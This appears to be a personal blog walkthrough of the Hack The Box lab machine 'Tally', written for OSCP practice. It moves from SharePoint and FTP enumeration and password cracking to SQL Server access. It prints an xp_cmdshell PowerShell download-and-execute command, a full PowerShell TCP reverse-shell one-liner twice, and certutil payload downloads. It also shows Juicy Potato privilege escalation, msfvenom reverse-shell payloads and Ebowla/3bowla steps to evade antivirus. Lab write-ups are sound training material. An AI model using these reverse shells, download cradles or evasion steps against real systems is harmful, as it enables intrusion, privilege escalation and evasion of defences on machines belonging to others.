Note: In an attempt to be OSCP friendly, NONE of my write ups will utilize Metasploit. Zero. Zip. Tell your friends.
We’ll start with our initial nMap scan: nmap -A -p – 10.10.10.59
<code>root@kali:~/Documents/Tally# nmap -A -p - 10.10.10.59
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-01 09:55 EDT
Nmap scan report for 10.10.10.59
Host is up (0.035s latency).
Not shown: 65515 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Microsoft IIS httpd 10.0
|<em>http-server-header: Microsoft-IIS/10.0 | http-title: Home |_Requested resource was http://10.10.10.59/_layouts/15/start.aspx#/default.aspx 81/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Bad Request 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 808/tcp open ccproxy-http? 1433/tcp open ms-sql-s Microsoft SQL Server 2016 13.00.1601.00; RTM | ms-sql-ntlm-info: | Target_Name: TALLY | NetBIOS_Domain_Name: TALLY | NetBIOS_Computer_Name: TALLY | DNS_Domain_Name: TALLY | DNS_Computer_Name: TALLY |</em> Product_Version: 10.0.14393
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2020-09-01T13:55:54
|<em>Not valid after: 2050-09-01T13:55:54 |_ssl-date: 2020-09-01T14:58:10+00:00; +1s from scanner time. 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 15567/tcp open http Microsoft IIS httpd 10.0 | http-auth: | HTTP/1.1 401 Unauthorized\x0D | Negotiate |</em> NTLM
| http-ntlm-info:
| Target_Name: TALLY
| NetBIOS_Domain_Name: TALLY
| NetBIOS_Computer_Name: TALLY
| DNS_Domain_Name: TALLY
| DNS_Computer_Name: TALLY
|_ Product_Version: 10.0.14393
|<em>http-server-header: Microsoft-IIS/10.0 |_http-title: Site doesn't have a title. 32843/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Service Unavailable 32844/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Service Unavailable | ssl-cert: Subject: commonName=SharePoint Services/organizationName=Microsoft/countryName=US | Subject Alternative Name: DNS:localhost, DNS:tally | Not valid before: 2017-09-17T22:51:16 |_Not valid after: 9999-01-01T00:00:00 |_ssl-date: 2020-09-01T14:58:09+00:00; +1s from scanner time. | tls-alpn: | h2 |</em> http/1.1
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=9/1%OT=21%CT=1%CU=35402%PV=Y%DS=2%DC=T%G=Y%TM=5F4E6184
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10E%TI=I%CI=I%II=I%SS=S%TS=A
OS:)SEQ(SP=105%GCD=1%ISR=10E%TI=I%CI=RD%TS=A)OPS(O1=M54DNW8ST11%O2=M54DNW8S
OS:T11%O3=M54DNW8NNT11%O4=M54DNW8ST11%O5=M54DNW8ST11%O6=M54DST11)WIN(W1=200
OS:0%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=80%W=2000%O=M54
OS:DNW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%
OS:W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=
OS:)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=
OS:S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF
OS:=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=
OS:G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)</code>
Network Distance: 2 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|<em>clock-skew: mean: 1s, deviation: 0s, median: 0s | ms-sql-info: | 10.10.10.59:1433: | Version: | name: Microsoft SQL Server 2016 RTM | number: 13.00.1601.00 | Product: Microsoft SQL Server 2016 | Service pack level: RTM | Post-SP patches applied: false |</em> TCP port: 1433
|<em>smb-os-discovery: ERROR: Script execution failed (use -d to debug) | smb-security-mode: | authentication_level: user | challenge_response: supported |</em> message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-09-01T14:57:57
|_ start_date: 2020-09-01T13:55:30
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 45.52 ms 10.10.14.1
2 45.79 ms 10.10.10.59
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3746.25 seconds
And there’s a lot going on with this box, most notably SharePoint. There’s a lot in this output, so let’s summarize:
- Port 21 – Microsoft ftpd
- Port 80, 81, 5985, 32843, 32844 and 47001 – Microsoft HTTPAPI
- Port 139 and 445 – SMB
- Port 15567 – IIS 10
- Port 135, 49664, 49665, 49666, 49667, 49669 and 49670 – Microsoft RPC
- Port 808 – CCProxy-Http
- Port 1433 – SQL Server 2016
- Port 32846 – StorageCraft Image Manager
Where to start? I’ll start with GoBuster on Port 80 I think, let it run, and we’ll try some SharePoint enumeration.
GoBuster
We’ll start with our basic Gobuster scan: gobuster dir -u http://10.10.10.59 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
So I let it run for a while and stepped away and when I came back I got a ton of timeout errors:
So I decided to try with a Sharepoint list we can enumerate from. It’s available from SecLists and I recommend just downloading the entire repo on your Kali box somewhere so you can quickly reference it. With this new list, we’ll update our gobuster command: gobuster dir -u http://10.10.10.59 -w ~/Documents/SecLists/Discovery/Web-Content/CMS/sharepoint.txt
And we started getting some results right away, and there’s a lot of them. I’m not super familiar with the Sharepoint directory structure but a quick Google of “important Sharepoint URLs” gives us a couple of sites with lists:
I just started by going down the list and one of the first entries brings us to: http://10.10.10.59/_layouts/15/Viewlsts.aspx
If we click on the Documents icon there is a MS Word document in there called ftp-details
I downloaded the document and put it on my Host machine which is running Windows 10 and has MS Word on it, and looked at it:
So we have a password here, but no username. Let’s dig through the site more. Let’s go back to http://10.10.10.59/_layouts/15/ViewLsts.aspx and then click on “Site Pages“
It looks like it didn’t load 100% correctly, and we can see within the URL that there are references to .aspx pages. So let’s remove the _layouts/15/start.aspx#/ and see where we get:
That Finance Team document is a shortcut to another page it appears, but it’s URL is also incorrectly formatted:
Let’s remove the _layouts/15/start.aspx#// part from the URL and see where it gets us:
Within here it looks like we have a username for the FTP server, ftp_user, and then a few other names (Sarah, Rahul, and Tim) that we might be able to target later as users. Let’s see if we can get into the FTP directory with the password we found earlier UTDRSCH53c”$6hys
There’s a lot of directories in here but ultimately we find ourselves in Tim’s folder in /User/tim/files, where there is a tim.kbdx file which is a KeePass file. Let’s get it: get tim.kdbx
As you can see above the first time I downloaded it ASCII mode was used, so I deleted the file from the Kali directory it saved to, typed BINARY in the FTP window, and re-downloaded it.
We had to crack a similar file on the Jeeves box, and we did so with a program called keepass2john. The first thing we need to do is extract the hash from KeePass: keepass2john tim.kdbx > CEHtoHack (I don’t know why I called it CEHtoHack..probably because I copied this line from the Jeeves write up)
Then we can use John the Ripper to attack the hash: john CEHtoHack -w:/usr/share/wordlists/rockyou.txt
And then let’s view the password: john CEHtoHack –show
So now we should be able to look at the KeePass database. You can either install the KeePass application (like we did with Jeeves) or use the command line to view the contents with kpcli. We need to install it first: sudo apt-get install kpcli
To use kpcli you navigate the structure much like you would in Linux, with commands like dir and cd. Eventually you’ll come to /WORK/WINDOWS/Shares and see an entry:
You can type show 0 to view the entry.
You’ll notice that the password is obscured by default, but you can do show -f 0 to see the record in its entirety:
Since this directory said Windows Shares we’ll see if we can access the SMB directory on our target machine: smbclient \\\\10.10.10.59\\ACCT -U Finance and the Acc0unting password:
SMB
There’s all kinds of stuff in here.
There’s a lot to dig through here, but most interesting is the zz_Archived/SQL directory where there is a file called conn-info.txt so lets get conn-info.txt
Then upon viewing it we see what could be some database credentials: sa and YE%TJC%&HYbe5Nw
There is a note in there that says these credentials are old server details, so who knows if they’ll work.
If we look around some more we eventually get to \zz_Migration\Backup\20170808\orcharddb\ where there is a file called orcharddb.zip. Let’s get it as well: get orcharddb.zip
If we go back to our Kali window and try unzip orcharddb.zip we see that it is password protected:
We can use a tool called fcrackzip to try to break into this. You might need to install it: sudo apt-get install fcrackzip
Fcrackzip
It’s easy enough to use, we just need to set a few options:
– u = Use unzip to weed out wrong passwords
– D = Use a dictionary
-p = Use a string as the initial password/file
So our command looks like this: fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt orcharddb.zip and then after a few minutes we have something:
Then we can enter our password when we unzip it:
Let’s start with CAT to look at the orcharddb.sql file
It looks like we have a username admin here with a password of Finance2. However, the SQL also mentions Orchard, which we didn’t see running on any open ports anywhere. So we’ll keep this info since we might be able to use it later.
If we go into the Binaries directory we see a lot of .exe files. Most of them look like normal installs, but there is a tester.exe one that I’m unfamilar with, so let’s grab it.
Then we’ll run strings tester.exe to look for some more information. About halfway down the file we have some interesting information:
We can use sqsh to try to log into the open SQL port and interact with the database. We do that with the following command: sqsh -S 10.10.10.59 -U sa -P “GWE3V65#6KFH93@4GWTG2G”
xp_cmdshell
We’re in, but there isn’t a ton we can do yet. There’s a way around this, though, and that’s with xp_cmdshell. xp_cmdshell is a Windows command shell that lets you execute commands. To use it you have to enter the command you want executed in ” “ and then add a ; to the end of the line, hit enter, and then enter go.
So it looks like it’s disabled. We can look at Microsoft’s documentation to see if there’s a way to enable it. We’ll need to use the following commands in order:
EXEC sp_configure 'show advanced options', 1;
go
RECONFIGURE;
go
EXEC sp_configure 'xp_cmdshell', 1;
go
RECONFIGURE;
go
xp_cmdshell 'whoami';
go
And now we should have some output:
Obviously, this shell is not ideal and I’m not 100% sure what all I’ll be able to execute with it. Let’s try systeminfo for starters:
Well, I tried..but then I got the message again about xp_cmdshell being down. So…I can re-enable it, but before I do that I’m going to prep something so that I can get a different shell quickly once I re-enable.
PowerShellTcp.ps1
We’re going to use the Invoke-PowerShellTcp.ps1 script from Nishang to get our reverse shell. This, too, we used on the Jeeves box. To start, locate your local copy of it and make a copy to your current working directory:
Open up Invoke-PowerShellTcp.ps1 with your text editor of choice and add this to the very last line being sure to update the IP with that of your Kali box: Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.8 -Port 1234
We’re going to need to call this from our Windows box, and to do that we’ll need to setup a HTTP server we can download it from, so let’s get that going: python -m SimpleHTTPServer 80
We’ll setup our NetCat listener as well: nc -lvp 1234
Then I re-enabled the xp_cmdshell (as we did above) and then executed the following two commands: xp_cmdshell “powershell -c iex(new-object net.webclient).downloadstring(‘http://10.10.14.8:80/Invoke-PowerShellTcp.ps1’)” and go
And we have our Shell!
Privilege Escalation – Method 1
Potato Attack
I’ve gotten in the habit of typing whoami /priv on these Windows machines and this one didn’t disappoint:
That SeImpersonatePrivilege token tells us Juicy Potato (or some variation of a Potato attack) should work. We’ll try that. If it works, we’ll try a few other methods too.
So I followed the steps in the Arctic writ up for Juicy Potato and it hung up on me. And thus started like 2 days of off-and-on troubleshooting trying to get Rotten Potato, LonelyPotato, and other crap to work. If you want to see that work, scroll below. I’ll save you the headaches and to right to the fun.
Juicy Potato
To get this to work, we’re going to need to have JuicyPotato.exe execute something when it runs. This something is what will create our connection back to our Kali box and when it runs, it will run with full Windows Administrator privileges, thus giving us our admin reverse shell. I tried creating a .exe with MSFVenom, and then even encoding that .exe and while it was never detected by anti-virus (the encoded one) I couldn’t get it to execute. So I created/stole a .bat script. This is what it looked like:
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.14.30',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (IEX $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
You’ll notice in the above script I updated the IP to my Kali IP and specified a new NetCat listener port. Save this in a file called script.bat
Now, from our Windows shell we need to copy over Juicy Potato and our script.bat: certutil.exe -urlcache -split -f http://10.10.14.30/shell.bat shell.bat and then certutil.exe -urlcache -split -f http://10.10.14.30/JP.exe JP.exe I copied them to the C:\Users\Sarah\Desktop directory because we had write access.
Now, setup your new NetCat listnener on your Kali box and then execute the following command from your Windows box: C:\Users\Sarah\Desktop\JP.exe -l 4444 -p C:\Users\Sarah\Desktop\shell.bat -t *
Random Notes
This is stuff that didn’t work, but I’m keeping here because it involved some good troubleshooting.
I downloaded the Rotten Potato.exe file from here: https://github.com/breenmachine/RottenPotatoNG/blob/master/RottenPotatoEXE/x64/Release/MSFRottenPotato.exe
I started by creating a shell.exe payload with MSFVenom, but then quickly noticed when I copied it over to my target machine it poofed. I’ll blame Windows Defender. Let’s see if we can get around that with some PowerShell.
On your Kali machine, open up your editor of choice and enter this line (making sure to update the IP address with that of your Kali (call the file shell.bat):
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.30',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (IEX $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Now, let’s save this file and copy it over to our Windows machine. Do do the copy we’ll use CertUtil: certutil.exe -urlcache -split -f http://10.10.14.30/shell.bat shell.bat
Then we setup our NetCat listener for a new port, copy over MSFRottenPotato.exe from here to our Windows machine, and then execute: C:\Users\Sarah\Desktop\RP.exe t c:\Users\Sarah\Desktop\shell.bat
And…this one hung too. Nothing on my NetCat listener..
Ebowla
We’re going to use Ebowla to see if we can use some encoding and maybe Windows Defender is jacking stuff up. Ebowla encrypts the payload of your executable with environment variables so that when it’s decrypted, AV doesn’t notice it and leaves it alone.
From the Ebowla directory, open up the genetic.config file. Change the output_type to Go, the payload_type to EXE
Scroll down to the ENV_VAR section. Remove the username value, change the computername value to TALLY and then remove the userdomain value as well. Your entry should look like this.
We need to make a payload now, so let’s use MSFVenom: msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.30 LPORT=4444 -f exe -a x64 > shell.exe
Now, to encode it the syntax is this: python ebowla.py <file to encode> <configuration file to use> so in our case it’s python ../Ebowla/ebowla.py shell.exe genetic.config
And we’re missing something.
So so more Googling…. If we paid attention to the GitHub page for Ebowla we’d see that it’s no longer supported.
Now this doesn’t necessarily indicate that it doesn’t work, but if we have problems we’re on our own. Some more research shows us that someone created 3BOWLA, which utilizes Python3, and can be found here: https://github.com/ohoph/3bowla
So I’m going to clone this repo to my Kali box and go through the same steps we did above to change the settings within the genetic.config file. Then we can execute it: python3 ../3bowla/ebowla.py shell.exe ../3bowla/genetic.config
Note: my shell.exe was in my Tally folder, so I made sure to update the directory path to the ebowla.py and genetic.config files with the ../3bowla/ above.
Now, when we look within our current directory there is an output directory, so let’s go in there.
Now, to make this slightly easier I moved to the 3bowla directory. Within it are more files we’re going to use.
The next step is to take the .go file that was just created and is in our output directory and compile it: ./build_x64_go.sh ../Tally/output/go_symmetric_shell.exe.go ebowla-shell.exe
And another error…it looks like I’m missing Go. I verified this by typing echo $PATH and seeing if I had a go directory in the path variable and I don’t.
To install it I moved to my Downloads directory and then ran wget https://golang.org/dl/go1.15.2.linux-amd64.tar.gz and then run tar -C /usr/local -xzf go1.15.2.linux-amd64.tar.gz to extract it.
Next, we’ll need to update the $PATH variable: export PATH=$PATH:/usr/local/go/bin and then type go to verify the version installed.
Now…let’s try to compile again.
And we’re missing more shit. So let’s install mingw32 – sudo apt-get install mingw-w64
And once it’s finished, let’s try it again: ./build_x64_go.sh ./output/go_symmetric_shell.exe.go ebowla-shell.exe
Yay! Let’s check the output folder:
Nice, so now I’m going to copy the ebowla-shell.exe to my Tally folder again, since we’re going to want to transfer it to our target machine.
And after transferring the ebowla-shell.exe and running it with Juicy Potato..it still hung.